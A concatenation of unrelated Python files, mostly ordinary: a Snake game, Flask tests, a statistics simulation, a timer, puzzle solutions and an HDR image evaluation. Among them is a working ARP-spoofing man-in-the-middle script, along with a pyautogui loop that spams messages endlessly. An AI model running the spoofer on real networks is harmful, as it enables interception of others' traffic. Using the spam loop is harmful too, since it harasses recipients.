import pygame
import sys
from pygame.math import Vector2
import random

pygame.init()
SCREEN_UPDATE = pygame.USEREVENT
#####################################################
###################### SETTINGS #####################
cell_size = 150  #size in pixels
cell_number = 8 #number of cells in grid
pygame.time.set_timer(SCREEN_UPDATE, 150) #game speed
###################### SETTINGS #####################
#####################################################

class Snake:
    def __init__(self):
        self.body = [Vector2(3, 2), Vector2(2, 2), Vector2(1, 2)]
        self.direction = Vector2(0, 0)
        self.new_block = False

        self.head_up = pygame.image.load('assets/snake_head_up.png').convert_alpha()
        self.head_up = pygame.transform.scale(self.head_up, (cell_size, cell_size))
        #
        self.head_down = pygame.image.load('assets/snake_head_down.png').convert_alpha()
        self.head_down = pygame.transform.scale(self.head_down, (cell_size, cell_size))
        #
        self.head_left = pygame.image.load('assets/snake_head_left.png').convert_alpha()
        self.head_left = pygame.transform.scale(self.head_left, (cell_size, cell_size))
        #
        self.head_right = pygame.image.load('assets/snake_head_right.png').convert_alpha()
        self.head_right = pygame.transform.scale(self.head_right, (cell_size, cell_size))

        self.tail_up = pygame.image.load('assets/snake_tail_up.png').convert_alpha()
        self.tail_up = pygame.transform.scale(self.tail_up, (cell_size, cell_size))
        #
        self.tail_down = pygame.image.load('assets/snake_tail_down.png').convert_alpha()
        self.tail_down = pygame.transform.scale(self.tail_down, (cell_size, cell_size))
        #
        self.tail_left = pygame.image.load('assets/snake_tail_left.png').convert_alpha()
        self.tail_left = pygame.transform.scale(self.tail_left, (cell_size, cell_size))
        #
        self.tail_right = pygame.image.load('assets/snake_tail_right.png').convert_alpha()
        self.tail_right = pygame.transform.scale(self.tail_right, (cell_size, cell_size))

        self.turn_upleft = pygame.image.load('assets/snake_turn_up-left.png').convert_alpha()
        self.turn_upleft = pygame.transform.scale(self.turn_upleft, (cell_size, cell_size))
        #
        self.turn_upright = pygame.image.load('assets/snake_turn_up-right.png').convert_alpha()
        self.turn_upright = pygame.transform.scale(self.turn_upright, (cell_size, cell_size))
        #
        self.turn_downleft = pygame.image.load('assets/snake_turn_down-left.png').convert_alpha()
        self.turn_downleft = pygame.transform.scale(self.turn_downleft, (cell_size, cell_size))
        #
        self.turn_downright = pygame.image.load('assets/snake_turn_down-right.png').convert_alpha()
        self.turn_downright = pygame.transform.scale(self.turn_downright, (cell_size, cell_size))

        self.body_vertical = pygame.image.load('assets/snake_body_vertical.png').convert_alpha()
        self.body_vertical = pygame.transform.scale(self.body_vertical, (cell_size, cell_size))
        #
        self.body_horizontal = pygame.image.load('assets/snake_body_horizontal.png').convert_alpha()
        self.body_horizontal = pygame.transform.scale(self.body_horizontal, (cell_size, cell_size))

        self.crunch_sound = pygame.mixer.Sound('assets/crunch.wav')

    def draw_snake(self):
        self.update_head_graphics()
        self.update_tail_graphics()
        for index, block in enumerate(self.body):
            x_pos = int(block.x * cell_size)
            y_pos = int(block.y * cell_size)
            block_rect = pygame.Rect(x_pos, y_pos, cell_size, cell_size)

            if index == 0: #head
                screen.blit(self.head, block_rect)
            elif index == len(self.body) - 1: #tail
                screen.blit(self.tail, block_rect)
            else:
                previous_block = self.body[index + 1] - block
                next_block = self.body[index - 1] - block

                if previous_block.x == next_block.x:
                    screen.blit(self.body_vertical, block_rect)
                elif previous_block.y == next_block.y:
                    screen.blit(self.body_horizontal, block_rect)
                else:
                    if previous_block.x == -1 and next_block.y == -1 or previous_block.y == -1 and next_block.x == -1:
                        screen.blit(self.turn_upleft, block_rect)
                    elif previous_block.x == -1 and next_block.y == 1 or previous_block.y == 1 and next_block.x == -1:
                        screen.blit(self.turn_downleft, block_rect)
                    elif previous_block.x == 1 and next_block.y == -1 or previous_block.y == -1 and next_block.x == 1:
                        screen.blit(self.turn_upright, block_rect)
                    elif previous_block.x == 1 and next_block.y == 1 or previous_block.y == 1 and next_block.x == 1:
                        screen.blit(self.turn_downright, block_rect)

    def update_head_graphics(self):
        head_relation = self.body[1] - self.body[0]
        if head_relation == Vector2(1, 0):
            self.head = self.head_left
        elif head_relation == Vector2(-1, 0):
            self.head = self.head_right
        elif head_relation == Vector2(0, 1):
            self.head = self.head_up
        elif head_relation == Vector2(0, -1):
            self.head = self.head_down

    def update_tail_graphics(self):
        tail_relation = self.body[-2] - self.body[-1]
        if tail_relation == Vector2(1, 0):
            self.tail = self.tail_right
        elif tail_relation == Vector2(-1, 0):
            self.tail = self.tail_left
        elif tail_relation == Vector2(0, 1):
            self.tail = self.tail_down
        elif tail_relation == Vector2(0, -1):
            self.tail = self.tail_up

    def move_snake(self):
        x_pos = self.body[0].x
        y_pos = self.body[0].y
        x_dir = self.direction.x
        y_dir = self.direction.y

        if x_pos + x_dir >= cell_number:
            _body = self.body[:-1]
            _body.insert(0, Vector2(-1, y_pos))
            self.body = _body[:]
        elif x_pos + x_dir < 0:
            _body = self.body[:-1]
            _body.insert(0, Vector2(cell_number, y_pos))
            self.body = _body[:]
        elif y_pos + y_dir >= cell_number:
            _body = self.body[:-1]
            _body.insert(0, Vector2(x_pos, -1))
            self.body = _body[:]
        elif y_pos + y_dir < 0:
            _body = self.body[:-1]
            _body.insert(0, Vector2(x_pos, cell_number))
            self.body = _body[:]

        if self.new_block == True:
            _body = self.body[:]
            _body.insert(0, _body[0] + self.direction)
            self.body = _body[:]
            self.new_block = False
        else:
            _body = self.body[:-1]
            _body.insert(0, _body[0] + self.direction)
            self.body = _body[:]

    def add_block(self):
        self.new_block = True

    def play_crunch_sound(self):
        self.crunch_sound.play()

    def reset(self):
        self.body = [Vector2(3, 2), Vector2(2, 2), Vector2(1, 2)]
        self.direction = Vector2(0, 0)

class Fruit:
    def __init__(self):
        self.randomize()
        self.apple = pygame.image.load('assets/apple.png').convert_alpha()
        self.apple = pygame.transform.scale(self.apple, (cell_size, cell_size))

    def draw_fruit(self):
        x_pos = int(self.pos.x * cell_size)
        y_pos = int(self.pos.y * cell_size)
        fruit_rect = pygame.Rect(x_pos, y_pos, cell_size, cell_size)
        screen.blit(self.apple, fruit_rect)

    def randomize(self):
        self.x = random.randint(0, cell_number - 1)
        self.y = random.randint(0, cell_number - 1)
        self.pos = Vector2(self.x, self.y)

class MAIN:
    def __init__(self):
        self.snake = Snake()
        self.fruit = Fruit()

    def update(self):
        self.snake.move_snake()
        self.check_collision()
        self.check_fail()

    def draw_elements(self):
        self.draw_grass()
        self.fruit.draw_fruit()
        self.snake.draw_snake()
        self.draw_score()

    def check_collision(self):
        if self.fruit.pos == self.snake.body[0]:
            self.fruit.randomize()
            self.snake.add_block()
            self.snake.play_crunch_sound()

        for block in self.snake.body[1:]:
            if block == self.fruit.pos:
                self.fruit.randomize()

    def check_fail(self):
        for block in self.snake.body[1:]:
            if block == self.snake.body[0]:
                self.game_over()

    def game_over(self):
        self.snake.reset()

    def draw_grass(self):
        grass_color = (0, 0, 0)
        for row in range(cell_number):
            for column in range(cell_number):
                grass_rect = pygame.Rect(column * cell_size, row * cell_size, cell_size, cell_size)
                pygame.draw.rect(screen, grass_color, grass_rect)

    def draw_score(self):
        score_text = str(len(self.snake.body) - 3)
        score_surface = game_font.render(score_text, True, (255, 255, 255))
        score_x = int(cell_size * cell_number - 60)
        score_y = int(cell_size * cell_number - 40)
        score_rect = score_surface.get_rect(center = (score_x, score_y))

        screen.blit(score_surface, score_rect)

screen = pygame.display.set_mode((cell_size * cell_number, cell_size * cell_number))
clock = pygame.time.Clock()

game_font = pygame.font.Font('assets/font.ttf', int(cell_size / 2))

fruit = Fruit()
snake = Snake()

main_game = MAIN()

while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            pygame.quit()
            sys.exit()
        if event.type == SCREEN_UPDATE:
            main_game.update()
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_UP and main_game.snake.direction.y != 1:
                main_game.snake.direction = Vector2(0, -1)

            if event.key == pygame.K_DOWN and main_game.snake.direction.y != -1:
                main_game.snake.direction = Vector2(0, 1)

            if event.key == pygame.K_RIGHT and main_game.snake.direction.x != -1:
                main_game.snake.direction = Vector2(1, 0)

            if event.key == pygame.K_LEFT and main_game.snake.direction.x != 1:
                main_game.snake.direction = Vector2(-1, 0)

    main_game.draw_elements()
    pygame.display.update()
    clock.tick(150)


import pytest
from flask import json

from notv.app import create_app

@pytest.fixture
def client(request):
    app = create_app()
    app.config['TESTING'] = True
    app.config['AUTH_KEY'] = 'test-key'
    client = app.test_client()
    return client

def test_client_not_authorized(client):
    r = client.get('/api/shows/')
    j = json.loads(r.data)

    assert r.status_code == 401
    assert j['error'] == 'unauthorized'

def test_client_authorized(client):
    r = client.get('/api/shows/?auth_key=test-key')

    assert r.status_code == 200
    assert r.data == b'Shows list'

def test_index_page(client):
    r = client.get('/')

    assert r.status_code == 200
    assert r.data == b'Hello, World!'


# -*- coding: utf-8 -*-
"""
Created on Tue Nov  8 18:14:23 2016

@author: mike
"""
from utils import cutoff_funcs, data_funcs
from pylab import *
import string
import pandas
import argparse

parser = argparse.ArgumentParser(description='MC infinite horizon cutoffs.')
parser.add_argument('--p0', type=float, default=.91)
parser.add_argument('--p1', type=float, default=.37 )
parser.add_argument('--pairs', type=int, default=3)
parser.add_argument('--reps', type=int, default=5000)

args = parser.parse_args()

from utils.data_funcs import assemble_fake_drugs

import traceback
import warnings
import sys

def warn_with_traceback(message, category, filename, lineno, file=None, line=None):
    traceback.print_stack()
    log = file if hasattr(file,'write') else sys.stderr
    log.write(warnings.formatwarning(message, category, filename, lineno, line))
    #raise Exception("Blah!")

warnings.showwarning = warn_with_traceback

try:
    get_ipython()
    dontcare = p0 +p1 + pair_iters
    print("Params set in IPython")
except:

    #p0 = .1
    #p1 = .378
    p0 = args.p0 #.91
    p1 = args.p1 # .37
    pair_iters = args.pairs # 3 # 12
    k_reps = args.reps
    print("Params set to p0 {0} p1 {1} pair_iters {2}".format(p0, p1, pair_iters))
max_rate = 1.0
m_null = 3
dar, dnar, ground_truth = assemble_fake_drugs(max_rate, m_null, False, p0, p1)
alpha_levels = arange(1,7, dtype=float) * .15 /(2 * m_null)
beta_levels = 0.25  / arange((2 * m_null), 0, -1, dtype=float)

drr = dar+dnar

A_B_wald = cutoff_funcs.calculate_mult_sprt_cutoffs(alpha_levels, beta_levels)
#A_B_mc = cutoff_funcs.infinite_horizon_MC_cutoffs(drr, p0, p1, alpha_levels, beta_levels, inf_horizon_steps, k_reps)
est_steps = cutoff_funcs.est_sample_size(A_B_wald[0], A_B_wald[1], drr, p0, p1)
#print("Est num steps: {0}".format(est_steps))

from tqdm import trange
rej_max = np.inf
acc_min = -np.inf

n_periods = max((500, 5.0 * est_steps))
print("n_periods ", n_periods)
# Run simulation k_reps times
rej_meta_rec = []
acc_meta_rec = []

import traceback
def MC_job_func_wrapper(kwargs):
    try:
        return MC_job_func(**kwargs)
    except:
        traceback.print_exc()

#raise Exception()

def MC_job_func(p0, p1, drr, n_periods, k_reps, alt_bound, label, job_id):
    if job_id==0:
        rej_record = []
        for mc_it_number in trange(k_reps, desc="{0} MC cutoff simulations {1}".format(label, pair_num)):
            # Simulate n_periods worth of data under the null with the provided
            # rates.
            sim_amnesia_reactions, sim_nonamnesia_reactions = data_funcs.simulate_reactions(
                p0 * drr, (1.0 - p0) * drr, n_periods)

            # Compute llr paths for data
            rej_static_binom_llr = data_funcs.assemble_llr(sim_amnesia_reactions,
                                            sim_nonamnesia_reactions, p0, p1)
            active_mask = (rej_static_binom_llr > alt_bound).astype(float).cumprod()
            screened_llr = rej_static_binom_llr * active_mask
            if alt_bound > -np.inf:
                 screened_llr = screened_llr + alt_bound * (1.0 - active_mask)
            # Record the max value the each llr path reached
            rej_record.append(screened_llr.max(0))
    else:
        rej_record = []
        for mc_it_number in range(k_reps):
            # Simulate n_periods worth of data under the null with the provided
            # rates.
            sim_amnesia_reactions, sim_nonamnesia_reactions = data_funcs.simulate_reactions(
                p0 * drr, (1.0 - p0) * drr, n_periods)

            # Compute llr paths for data
            rej_static_binom_llr = data_funcs.assemble_llr(sim_amnesia_reactions,
                                            sim_nonamnesia_reactions, p0, p1)
#            rej_static_binom_llr[rej_static_binom_llr < alt_bound] = 0.0
#            # Record the max value the each llr path reached
#            rej_record.append(rej_static_binom_llr.max(0))
            active_mask = (rej_static_binom_llr > alt_bound).astype(float).cumprod()
            screened_llr = rej_static_binom_llr * active_mask
            if alt_bound > -np.inf:
                 screened_llr = screened_llr + alt_bound * (1.0 - active_mask)
            # Record the max value the each llr path reached
            rej_record.append(screened_llr.max(0))
    return rej_record

import itertools, multiprocessing, time, logging
from scipy.stats import percentileofscore
def one_side_MC(k_reps, pair_num, p0, p1, drr, n_periods, alt_bound, p_levels, label):

    num_jobs = multiprocessing.cpu_count()
    pool = multiprocessing.Pool(num_jobs)
    chunksize = int(k_reps / num_jobs)
    n_rep_list = [chunksize, ] * (num_jobs - 1) + [k_reps - chunksize * num_jobs,]
    rs = pool.map_async(MC_job_func_wrapper, [{"drr":drr,
                            "n_periods":n_periods, "p0":p0, "p1":p1,
                            "label":label, "k_reps":n_rep, "job_id":job_id,
                            "alt_bound":alt_bound}
                            for job_id, n_rep in enumerate(n_rep_list)])
    pool.close()
    while (True):
        if (rs.ready() and (rs._number_left == 0)):
            break
        remaining = rs._number_left
        report_string =  "Waiting for {0} tasks to complete. ({1})".format(
            remaining, time.ctime(time.time()))
        #logging.info(report_string)
        #print(report_string +"\n")
        time.sleep(.1)
    rej_record = list(itertools.chain.from_iterable(rs.get()))

    # TESTING CODE
    # Get the cutoffs for each individual stream.
    rej_stream_specific_cutoff_levels = percentile(array(rej_record), 100 * (1 - p_levels), axis=0)
    # Take the max across streams for each cutoff.
    # Take A_j = max_i A_j^i, then
    # P(Lambda^i > A_j) < P(Lambda^i > A_j^i) < alpha_j
    rej_cutoff_levels = rej_stream_specific_cutoff_levels.max(1)
    ### percentileofscore vectorized
#    if label=="Rej":
#        print("Prop exceeding: ", (array(rej_record).flatten() > A_B_wald[0][:, newaxis]).mean(1).round(3))
#        print("Expected prop: ", p_levels.round(3))
#    else:
#        print("Prop exceeding: ", (array(rej_record).flatten() > -A_B_wald[1][:, newaxis]).mean(1).round(3))
#        print("Expected prop: ", p_levels.round(3))
#    rej_cutoff_levels = percentile(array(rej_record).flatten(), 100 * (1 - p_levels))
    return rej_cutoff_levels

for pair_num in range(pair_iters):
    rej_cutoff_levels = one_side_MC(k_reps, pair_num, p0, p1, drr, n_periods, acc_min, alpha_levels, label="Rej")
    rej_max = rej_cutoff_levels.max()
    acc_cutoff_levels =  -one_side_MC(k_reps, pair_num, p1, p0, drr, n_periods, -rej_max, beta_levels, label="Acc")
    acc_min = acc_cutoff_levels.min()
    rej_meta_rec.append(rej_cutoff_levels)
    acc_meta_rec.append(acc_cutoff_levels)

rej_meta_rec = array(rej_meta_rec)
acc_meta_rec = array(acc_meta_rec)

figure(1, figsize=(16, 12))
plot(rej_meta_rec, linestyle="--")
plot(acc_meta_rec)
plot(ones(2*m_null) * (pair_iters - 1), A_B_wald[0],  "ro")
plot(ones(2*m_null) * (pair_iters - 1), A_B_wald[1],  "bo")


import pyautogui as spam
from time import sleep

# Criei este código para envio automatico em aplicativos de mensagens

# Mostra onde esta o cursor do mouse, usa-se as coordenadas para inserir no laço
# import mouse
#while True:
#    print(mouse.get_position())
#    sleep(1)

# Define uma quantidade finita de repetições
#limite_msg = int(input('Entre com o numero de mensagem que deseja enviar: '))

msg = str(input('Digite a mensagem: '))

i = 0
sleep(2)

while True:#i < int(limite_msg):
    spam.click(1126, 684)
    spam.typewrite(msg)
    sleep(4)
    spam.click(1342, 684)
    i += 1


import requests
from bs4 import BeautifulSoup
import pandas as pd
import time

headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}

for page in range(1, 3114):
    url = 'http://www.sports.org.tw/c/product/p_viwe.asp?p_id=' + page
    r = requests.get(url, headers=headers)
    r.encoding = 'big5'
    soup = BeautifulSoup(r.text, 'html.parser')
    content = soup.find('body').findAll('table')[3].findAll('tr')[1].text.strip()
    with open("soliTmp.csv", "a") as text_file:
        text_file.write( content + '\n' )
    time.sleep(2)


#!/usr/bin/env python3
# Purpose: Terminal-based Pomodoro timer

from datetime import datetime
from datetime import timedelta
import argparse
import time

def countdown(minutes, beep):
    seconds = minutes * 60
    while seconds:
        mins, secs = divmod(seconds, 60)
        counter = f"{mins:02d}:{secs:02d}"
        # ASCII carriage return ("\r") sends cursor back to the start of the line
        print(counter, end="\r")
        # Pause a second...
        time.sleep(1)
        seconds -= 1
    if beep:
        # make a simple 'beep' sound with an ASCII bell ("\a")
        print("\a")
    print("Study over, time for a break!")

def display(args, current_time):
    finish_time = (datetime.now() + timedelta(minutes=args.study)).strftime("%H:%M")
    # A bell if alarm is on, a scored-through bell if it is off
    alarm_flag = "\U0001F514" if args.alarm else "\U0001F515"
    print(
        f"\n\U0001F345 It's {current_time} now. Study finishes at {finish_time} {alarm_flag}"
    )
    countdown(args.study, args.alarm)

def get_time():
    now = datetime.now()
    now_time = now.strftime("%H:%M")
    return now_time

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-a", "--alarm", action="store_true", help="'beep' when study period is over"
    )
    parser.add_argument("study", help="minutes in study period (integer)", type=int)
    args = parser.parse_args()
    return args

def main():
    args = get_args()
    current_time = get_time()
    display(args, current_time)

if __name__ == "__main__":
    main()


import os
from contextlib import contextmanager
from math import prod
from typing import IO, ContextManager, Generator, List, Tuple

import pytest

from ..day3.trajectory import slide_down

@contextmanager
def file_read(filename: str) -> Generator:
    f = open(filename)
    yield f
    f.close()

@pytest.fixture
def processed_map() -> List[List[int]]:
    """
    Returns the test input.
    """
    dir_path = os.path.dirname(os.path.realpath(__file__))
    cm: ContextManager[IO] = file_read(dir_path + "/testinputs/day3")
    with cm as input_file:
        input_map: List[str] = input_file.read().splitlines()
    processed: List[List[int]] = [[0 if i == "." else 1 for i in j] for j in input_map]
    return processed

def test_slide_slope_once(processed_map: List[List[int]]):
    """
    Tests if the slide_down function works correctly.
    """
    initial_slope: Tuple[int, int] = (3, 1)
    assert slide_down(processed_map, initial_slope) == 7

def test_slide_many_slopes(processed_map: List[List[int]]):
    """
    Tests if the slide_down function works for all slopes.
    """
    slopes: List[Tuple[int, int]] = [(1, 1), (3, 1), (5, 1), (7, 1), (1, 2)]
    assert prod([slide_down(processed_map, i) for i in slopes]) == 336


import spacy
from spacy.matcher import Matcher

nlp = spacy.load('en_core_web_sm')
matcher = Matcher(nlp.vocab)

def find_matches(text: str, pattern: list, pattern_name: str) -> list:
    """
    generic function to find matching patterns in a given sample of text.
    """
    doc = nlp(text)
    matcher.add(pattern_name, [pattern])
    matches = matcher(doc)
    matcher.remove(pattern_name)
    spans_found = [doc[start:end] for match_id, start, end in matches]
    return spacy.util.filter_spans(spans_found)


#!/usr/bin/env python3
import time
import argparse
import subprocess
import scapy.all as scapy

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t","--target",dest="target_ip",help="Target IP")
    parser.add_argument("-s","--spoof",dest="spoof_ip",help="Spoof IP")
    options = parser.parse_args()
    if not options.target_ip:
        parser.error("Please specify target args ! see more info use -h or --help")
    elif not options.spoof_ip:
        parser.error("Please specify target args ! see more info use -h or --help")
    else:
        return options

def spoof(target_ip,spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet,verbose=False)

def get_mac(ip):
    ans = scapy.srp(scapy.Ether(dst="ff:ff:ff:ff:ff:ff") / scapy.ARP(pdst=ip),timeout=2,verbose=False)[0]
    return ans[0][1].hwsrc

def restore(target_ip,spoof_ip):
    target_mac = get_mac(target_ip)
    spoof_mac = get_mac(spoof_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip,hwsrc=spoof_mac)
    scapy.send(packet,count=4,verbose=False)

def main():
    options = get_args()
    target_ip = options.target_ip
    spoof_ip = options.spoof_ip
    subprocess.call("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)
    try:
        counter = 0
        while True:
            spoof(target_ip, spoof_ip)
            spoof(spoof_ip, target_ip)
            counter = counter + 2
            print("\rsend number:" + str(counter), end="")
            time.sleep(2)
    except KeyboardInterrupt:
        print("[+] CTRL+C ... Quitting. Restore ARP Table wait some seconds ...")
        restore(target_ip,spoof_ip)
        restore(spoof_ip, target_ip)

main()


from typing_extensions import Self

class Node:
    def __init__(self, column: int, row: int, count: int = 1,
                 up: Self = None, down: Self = None,
                 left: Self = None, right: Self = None):
        self.column = column
        self.row = row
        self.count = count
        self.up = up or self
        self.down = down or self
        self.left = left or self
        self.right = right or self

    def iterate_up(self, inclusive: bool = False):
        itr = self
        if inclusive:
            yield itr
        while itr.up != self:
            itr = itr.up
            yield itr

    def iterate_down(self, inclusive: bool = False):
        itr = self
        if inclusive:
            yield itr
        while itr.down != self:
            itr = itr.down
            yield itr

    def iterate_left(self, inclusive: bool = False):
        itr = self
        if inclusive:
            yield itr
        while itr.left != self:
            itr = itr.left
            yield itr

    def iterate_right(self, inclusive: bool = False):
        itr = self
        if inclusive:
            yield itr
        while itr.right != self:
            itr = itr.right
            yield itr


N, coins = 5, [3, 2, 1, 1, 9]

# My solution
def my_solution():
    from itertools import combinations
    num_set = set()
    for i in range(1, len(coins) + 1):
        num_set = num_set.union(map(sum, combinations(coins, i)))

    for i, p in enumerate(sorted(list(num_set)), start=1):
        if i != p:
            result = i
            break
    return result

# Book's solution
def solution():
    target = 1  # 0까지는 만들 수 있고, 1을 만들 수 있는 지 판단
    for a in sorted(coins):
        if a > target:  # a <= target 이면 target + a - 1 까지 만들 수 있다는 뜻!
            break
        target += a
    return target

print(my_solution())
print(solution())
# 8

04 만들 수 없는 금액.py


import network_fusion3
import numpy as np
import tensorflow as tf
import os
import cv2
import glob
import math
import time
from skimage.measure import compare_ssim as ssim

# In[2]: parameter setting
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "0"

IMG_HEIGHT = 224*4
IMG_WIDTH = 224*6
IMG_DEPTH = 3

is_training = False
gamma = 2.2

test_path = "/data/tkd1088/dataset/Kalantari/Test/EXTRA"

# In[7]: Network design
input_LDR_low = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_LDR_mid = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_LDR_high = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_HDR_low = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_HDR_mid = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
input_HDR_high = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
gt_LDR_low= tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
gt_LDR_high = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
gt_HDR = tf.placeholder(tf.float32, shape=[None, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])
is_train = tf.placeholder(tf.bool, name='is_train')

# In[7]: Network design
my_CAE = network_fusion3.MCAE_fusion(input_LDR_low, input_LDR_mid, input_LDR_high, input_HDR_low, input_HDR_mid, input_HDR_high, is_train)
output_hdr = my_CAE.output_hdr

# In[8]: test session
#align_exp = 'recon_190417_2_220000'
align_exp1 = 'recon_190510_1_280000'
align_exp2 = 'recon_190510_1_280000'
nscene = 15

saver = tf.train.Saver(tf.global_variables())

with tf.Session() as sess:
    min_iteration = 250000
    max_iteration = 250000

    for iteration in range(min_iteration, max_iteration+1, 10000) :
        result_path = "/data/tkd1088/result/hdr_transfer/results_compare/result_191116"
        if not os.path.exists(result_path):
            os.mkdir(result_path)

        ckpt_hdr_path = "/data/tkd1088/result/hdr_transfer/ckpt_190505_1_hdr/iter_%06d" % iteration
        saver.restore(sess, ckpt_hdr_path)

        total_psnrT = 0
        total_psnrL = 0
        total_ssimT = 0
        total_ssimL = 0

        for n in range(1, nscene+1):

          scene_path = '%s/%03d' % (test_path,n)
          image_pathss = '%s/LDR_static_*.png' % scene_path
          image_paths = sorted(glob.glob(image_pathss))
          info_path = '%s/exposure.txt' % scene_path
          hdr_path = '%s/HDRImg.hdr' % scene_path
          recon_low_path = '/data/tkd1088/result/hdr_transfer/results_compare/aligned/%03d_ours2_aligned_1.png' % n
          recon_mid_path = '/data/tkd1088/result/hdr_transfer/results_compare/aligned/%03d_ours2_aligned_2.png' % n
          recon_high_path = '/data/tkd1088/result/hdr_transfer/results_compare/aligned/%03d_ours2_aligned_3.png' % n

          input_LDR_low_ = cv2.imread(recon_low_path).astype(np.float32)/255.
          input_LDR_mid_ = cv2.imread(recon_mid_path).astype(np.float32)/255.
          input_LDR_high_ = cv2.imread(recon_high_path).astype(np.float32)/255.
          gt_HDR_ = cv2.imread(hdr_path,-1).astype(np.float32)

          input_LDR_low_ = input_LDR_low_[:,:,::-1]
          input_LDR_mid_ = input_LDR_mid_[:,:,::-1]
          input_LDR_high_ = input_LDR_high_[:,:,::-1]
          gt_HDR_ = gt_HDR_[:,:,::-1]

          input_LDR_low_ = cv2.resize(input_LDR_low_, (IMG_WIDTH,IMG_HEIGHT))
          input_LDR_mid_ = cv2.resize(input_LDR_mid_, (IMG_WIDTH,IMG_HEIGHT))
          input_LDR_high_ = cv2.resize(input_LDR_high_, (IMG_WIDTH,IMG_HEIGHT))
          gt_HDR_ = cv2.resize(gt_HDR_, (IMG_WIDTH,IMG_HEIGHT))

          height, width, channel = input_LDR_mid_.shape

          expo = np.zeros(3)
          file = open(info_path, 'r')
          expo[0]= np.power(2.0, float(file.readline()))
          expo[1]= np.power(2.0, float(file.readline()))
          expo[2]= np.power(2.0, float(file.readline()))
          file.close()

          input_HDR_low_ = np.power(input_LDR_low_, gamma)/expo[0]
          input_HDR_mid_ = np.power(input_LDR_mid_, gamma)/expo[1]
          input_HDR_high_ = np.power(input_LDR_high_, gamma)/expo[2]

          gt_HDR_tm = np.log(1.0+5000.0*gt_HDR_) / np.log(1.0+5000.0)
          cv2.imwrite('%s/%03d_ours2_gt.hdr' % (result_path, n), gt_HDR_[:,:,::-1])
          cv2.imwrite('%s/%03d_ours2_gt_tm.png' % (result_path, n), 255.*gt_HDR_tm[:,:,::-1])

          batch_input_LDR_low = []
          batch_input_LDR_mid = []
          batch_input_LDR_high = []
          batch_input_HDR_low = []
          batch_input_HDR_mid = []
          batch_input_HDR_high = []

          input_LDR_low_ = input_LDR_low_*2. -1.
          input_LDR_mid_ = input_LDR_mid_*2. -1.
          input_LDR_high_ = input_LDR_high_*2. -1.
          input_HDR_low_ = input_HDR_low_ *2. -1.
          input_HDR_mid_ = input_HDR_mid_ *2. -1.
          input_HDR_high_ = input_HDR_high_ *2. -1.

          batch_input_LDR_low.append(input_LDR_low_)
          batch_input_LDR_mid.append(input_LDR_mid_)
          batch_input_LDR_high.append(input_LDR_high_)
          batch_input_HDR_low.append(input_HDR_low_)
          batch_input_HDR_mid.append(input_HDR_mid_)
          batch_input_HDR_high.append(input_HDR_high_)

          batch_input_LDR_low_tensor = np.stack(batch_input_LDR_low, axis=0)
          batch_input_LDR_mid_tensor = np.stack(batch_input_LDR_mid, axis=0)
          batch_input_LDR_high_tensor = np.stack(batch_input_LDR_high, axis=0)
          batch_input_HDR_low_tensor = np.stack(batch_input_HDR_low, axis=0)
          batch_input_HDR_mid_tensor = np.stack(batch_input_HDR_mid, axis=0)
          batch_input_HDR_high_tensor = np.stack(batch_input_HDR_high, axis=0)

          st = time.time()
          recon_hdr = sess.run(output_hdr, feed_dict={
                                input_LDR_low    : batch_input_LDR_low_tensor,
                                input_LDR_mid    : batch_input_LDR_mid_tensor,
                                input_LDR_high   : batch_input_LDR_high_tensor,
                                input_HDR_low    : batch_input_HDR_low_tensor,
                                input_HDR_mid    : batch_input_HDR_mid_tensor,
                                input_HDR_high   : batch_input_HDR_high_tensor,
                                is_train         : is_training})
          ed = time.time()

          img_recon_hdr_ = recon_hdr[0,:,:,:].astype(np.float32)
          img_recon_hdr_ += 1.
          img_recon_hdr_ /= 2.

          img_recon_hdr_tm = np.log(1.0+5000.0*img_recon_hdr_) / np.log(1.0+5000.0)
          cv2.imwrite('%s/%03d_ours2_hdr.hdr' % (result_path, n), img_recon_hdr_[:,:,::-1])
          cv2.imwrite('%s/%03d_ours2_hdr_tm.png' % (result_path, n), 255.*img_recon_hdr_tm[:,:,::-1])

          mseT = np.mean((gt_HDR_tm-img_recon_hdr_tm)**2)
          mseL = np.mean((gt_HDR_-img_recon_hdr_)**2)
          psnrT = -10.*math.log10(mseT)
          psnrL = -10.*math.log10(mseL)
          ssimT = ssim(gt_HDR_tm,img_recon_hdr_tm,multichannel=True,data_range=gt_HDR_tm.max() - gt_HDR_tm.min())
          ssimL = ssim(gt_HDR_,img_recon_hdr_,multichannel=True,data_range=gt_HDR_.max() - gt_HDR_.min())
          total_psnrT += psnrT
          total_psnrL += psnrL
          total_ssimT += ssimT
          total_ssimL += ssimL
          print('Iteration %06d Scene %03d psnrT is %f (%.4f)' % (iteration,n,psnrT,ed-st))

        print('Iteration %06d Total psnrT is %f.' % (iteration, total_psnrT/nscene))
        print('Iteration %06d Total psnrL is %f.' % (iteration, total_psnrL/nscene))
        print('Iteration %06d Total ssimT is %f.' % (iteration, total_ssimT/nscene))
